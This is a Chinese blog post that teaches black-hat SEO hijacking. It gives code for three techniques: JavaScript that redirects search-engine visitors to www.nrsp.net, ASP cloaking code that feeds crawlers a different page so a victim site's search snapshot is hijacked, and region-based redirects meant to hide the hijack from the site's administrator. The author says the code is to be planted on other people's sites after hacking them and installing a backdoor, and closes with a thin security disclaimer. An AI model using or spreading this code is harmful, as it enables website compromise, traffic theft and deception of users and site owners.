黑帽seo劫持教程

  • A+
所属分类:网站优化
百度快速排名“快排”登录网址:停止运营(点击登录)

有很多白帽seo对seo黑帽手法了解的并不多,至于其中的原理更是理解的少。实际上,博主对黑帽手法多少有些了解,见证了百度几代的黑帽手法。说到底黑帽seo的倾向于技术性的。单单就技术本身来说也是值得去研究的,何况它的存在推动了搜索引擎的良性发展。这是一篇基础文章,至于以后会不会出高级操作教程,那就看情况了。当然,这里我们暂且不谈seo黑帽效果的持久性。

 

seo黑帽技术的技术含量要求很高。黑帽手法包括很多很多的手法。举几个列子:流量劫持、快照劫持、泛域名、泛ip、变种ip、目录链轮、新闻源劫持、寄生虫程序、get程序、无限页面链轮等等。相信以后不止这些,还会不停的出新的技能。这篇文章来解释一下流量劫持,快照劫持等常见的的黑帽手法。

1、黑帽seo手法-流量劫持

流量劫持的时候会先判断一下流量的来路引擎,从百度来的时候才会跳转,正常输入网址打开会正常显示的。

实现代码:

  1. if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 )

上面的代码内容是:如果否,则打开正常首页。这段代码为js代码。只是一个简单的判断。

判断搜索引擎来源,如果来源正确跳转到www.nrsp.net网站

  1. location.href="https://www.nrsp.net";

2、黑帽seo手法-快照劫持

这个黑帽劫持手法是有点技术含量的,想把快照换成自己想要的需要的劫持代码也不那么简单。代码目的是把别人网站首页的快照变成自己的,当然别人输入网址打开网站的时候还是正常显示的,判断来路之后才会跳转。这就需要一段能改变蜘蛛看法的代码。

代码类型很多,我这里写出一种:

  1. 0 or instr(agent,"baidubrowser") > 0 or instr(agent,"Sogou") > 0 or instr(agent,"googlebot") > 0 or instr(agent,"Sosospider") > 0 then
  2. linkurl="http://www.xxx.com" 快照网址
  3. Function GetBody(Url)
  4. Dim objXML
  5. On Error Resume Next
  6. Set objXML = CreateObject("Microsoft.XMLHTTP")
  7. With objXML
  8. .Open "Get", Url, False, "", ""
  9. .Send
  10. GetBody = .ResponseBody
  11. End With
  12. GetBody=BytesToBstr(GetBody,"GB2312")
  13. Set objXML = Nothing
  14. End Function
  15. Function BytesToBstr(strBody,CodeBase)
  16. dim objStream
  17. set objStream = Server.CreateObject("Adodb.Stream")
  18. objStream.Type = 1
  19. objStream.Mode =3
  20. objStream.Open
  21. objStream.Write strBody
  22. objStream.Position = 0
  23. objStream.Type = 2
  24. objStream.Charset = CodeBase
  25. BytesToBstr = objStream.ReadText
  26. objStream.Close
  27. set objStream = nothing
  28. End Function
  29. response.write GetBody(linkurl)
  30. End if%>

代码解释:前一段判断抓取蜘蛛来源,指向快照抓取网址;后一段代码判断来路,进行跳转到指定网址。代码其他细节暂不解释。

3、黑帽seo手法-地区流量劫持

有时候我们做这些黑帽操作时为了不被网站管理员发现和出于精确劫持的需求。不需要其他地区的没用流量,那就可以用这个代码。

怎么做呢。例如管理员是江西的,那么ip数据识别接口代码:

  1. http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js

具体使用代码如下:

  1. <script src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js" charset=”GB2312″ ></script>
  2. <script type="text/javascript">
  3. if(!remote_ip_info.province ==’/u5317/u4eac’){
  4. window.location.href=”http://www.nrsp.net”
  5. }
  6. </script>

其他代码注释

测试用例:

  1. http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&amp;ip=114.114.114.114

返回以下信息:

var remote_ip_info = {“ret”:1,”start”:”114.114.112.0″,”end”:”114.114.119.255″,”country”:”u4e2d\u56fd”,”province”:”u6c5f\u82cf”,”city”:”u5357\u4eac”,”district”:””,”isp”:”u7535\u4fe1″,”type”:””,”desc”:”u5357\u4eac\u4fe1\u98ce114dns\u4e13\u5c5e”};

文字经过utf-8编码,分别对应不同的信息。
可以通过javascript跨域直接调用,如:

  1. $.getScript('http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js&ip='+ip, function(_result){
  2. if (remote_ip_info.ret == '1'){
  3. alert('IP 详细信息:', 'IP:'+ip+'
  4. 国家:'+remote_ip_info.country+'
  5. 省份:'+remote_ip_info.province+'
  6. 城市:'+remote_ip_info.city+'
  7. 区:'+remote_ip_info.district+'
  8. ISP:'+remote_ip_info.isp+'
  9. 类型:'+remote_ip_info.type+'
  10. 其他:'+remote_ip_info.desc);
  11. } else {
  12. alert('错误', '没有找到匹配的 IP 地址信息!');
  13. }

好了,今天就先说这几个简单的seo黑帽的手法吧。

黑帽劫持技术文章最后

这里可能有人疑问了?你光给了代码,可是劫持要怎么操作实现呢?劫持代码要放在什么地方?

我只想说:放在别人网站的首页代码上或者你想要的劫持的页面代码上。既然技术名词是网站劫持,肯定是劫持别人网站的展现了。

具体要怎么操作怎么放进去呢?其实很简单两个字:黑掉。把别人的网站黑掉装个后门!

所以说seo黑帽技术是建立在非常高深的技术上面进行的操作。黑掉对方网站然后结合seo技术理论知识,实现高效转化流量的一种技术手段。

说实在的,要不要写这篇文章,博主心里犹豫了很久,因为这就好像楼主教大家怎么作弊怎么搞对手一样。其实我专注黑帽seo只是喜欢研究黑帽技术而已。本篇文章不想为互联网行业制造垃圾人才,也不想站长们辛辛苦苦做的站被人黑掉劫持掉。所以等以后有机会了,楼主也许会再发其他类似的文章。当然初衷和目的都是提高大家的网站安全、增强大家的网站防黑能力。

  • 我的微信
  • 这是我的微信扫一扫
  • weinxin
  • 我的微信公众号
  • 我的微信公众号扫一扫
  • weinxin

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: